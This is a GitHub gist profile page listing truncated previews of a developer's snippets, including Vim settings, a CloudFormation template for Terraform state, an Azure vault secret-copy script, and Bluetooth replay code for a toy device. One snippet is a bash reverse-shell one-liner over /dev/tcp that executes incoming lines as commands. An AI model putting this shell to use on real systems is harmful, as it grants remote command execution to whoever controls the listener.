Skip to content

Instantly share code, notes, and snippets.

View exinmusic's full-sized avatar
👂

David Dolan exinmusic

👂
View GitHub Profile
import sys
import random
from pprint import pprint
import re
def get_cc_number():
if len(sys.argv) < 2:
usage()
sys.exit(1)
" Highlight cursor line underneath the cursor horizontally.
set cursorline
" Turn on line numbers
set number
" Use "jk" as a hotkey to escape to normal mode
inoremap jk <Esc>
" Reduce the delay after pressing "j"
import sys
import random
from pprint import pprint
def get_cc_number():
if len(sys.argv) < 2:
usage()
sys.exit(1)
return sys.argv[1]
exec 5<>/dev/tcp/127.0.0.1/8090
cat <&5 | while read line; do $line 2>&5 >&5; done
AWSTemplateFormatVersion: '2010-09-09'
Description: Template to create terraform s3 bucket and ddb lock table
Parameters:
TFStateBucketName:
Description: 'Terraform State Bucket Name'
Type: String
Default: tf-state
TFStateLockTableName:
Description: 'Terraform DDB Lock Table Name'
@exinmusic
exinmusic / vbot.txt
Last active February 15, 2022 05:18
https://www.twitch.tv/defcon_chill
#!/bin/bash
#
# Copy secrets from vault to vault
# Original Author: Anupam Maiti
# Version Author: David Dolan (david.dolan@metaltoad.com)
# -------------------------------------------------------
# Updated original script to handle migration from one subscription to another.
# Updated original script to handle bash on windows (CRLF)
#
# Config
#!/usr/bin/python
import sys
arguments = sys.argv[1:]
input_file = arguments[0]
with open(input_file, 'rb') as f:
input_text = f.read()
print(str(input_text))
from adafruit_ble import Service
from adafruit_ble.uuid import VendorUUID
from adafruit_ble.characteristics.stream import StreamOut, StreamIn
class TAMAService(Service):
uuid = VendorUUID("0000FFF0-0000-1000-8000-00805F9B34FB")
_server_tx = StreamOut(
uuid=VendorUUID("0000FFF2-0000-1000-8000-00805F9B34FB"),
timeout=1.0,
buffer_size=64,
import time
from adafruit_ble import BLERadio
from ble_services import TAMAService
ble = BLERadio()
def replay(tama_connection, f):
for i in f.readlines():
hex_line = i[:-1].decode('utf-8')
ln = bytes.fromhex(hex_line)